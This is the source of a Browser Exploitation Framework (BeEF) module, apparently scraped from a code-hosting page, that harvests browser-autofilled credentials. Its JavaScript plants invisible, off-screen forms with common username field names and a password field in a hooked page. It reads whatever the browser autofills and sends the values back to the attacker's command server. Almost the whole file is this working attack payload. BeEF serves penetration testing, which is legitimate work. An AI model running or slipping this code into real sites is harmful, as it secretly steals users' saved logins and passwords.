Path: blob/master/modules/browser/hooked_origin/get_autocomplete_creds/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78get_form_data = function(form_name) {9var f = document.getElementById(form_name);10var results = '';11for(i=0; i<f.elements.length; i++) {12var k = f.elements[i].id;13var v = f.elements[i].value;14if (v != '') {15results += k + '=' + v + '&';16}17}1819if (results == '') {20beef.debug("[Get Autocomplete Creds] Found no autocomplete credentials");21return;22}2324beef.debug("[Get Autocomplete Creds] Found autocomplete data: '" + results + "'");25beef.net.send('<%= @command_url %>', <%= @command_id %>, 'results=' + results, beef.are.status_success());26}2728create_form = function(input_name) {29var f = document.createElement("form");30f.setAttribute("id", "get_autocomplete_" + input_name + "_<%= @command_id %>");31f.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");3233var u_input = document.createElement('input');34u_input.setAttribute("id", input_name);35u_input.setAttribute("name", input_name);36u_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");37u_input.setAttribute("type", "text");38f.appendChild(u_input);3940var p_input = document.createElement('input');41p_input.setAttribute("id", "password");42p_input.setAttribute("name", "password");43p_input.setAttribute("style", "position:absolute;visibility:hidden;top:-1000px;left:-1000px;width:1px;height:1px;border:none;");44p_input.setAttribute("type", "password");45f.appendChild(p_input);4647document.body.appendChild(f);48}4950var inputs = [51'user',52'uname',53'username',54'user_name',55'login',56'loginname',57'login_name',58'email',59'emailaddress',60'email_address',61'session[username_or_email]',62'name'63];6465beef.debug("[Get Autocomplete Creds] Creating forms ...");6667for(i=0; i<inputs.length; i++) {68var input_name = inputs[i];69create_form(input_name);70setTimeout("get_form_data('get_autocomplete_" + input_name + "_<%= @command_id %>'); document.body.removeChild(document.getElementById('get_autocomplete_" + input_name + "_<%= @command_id %>'));", 2000);71}72});73747576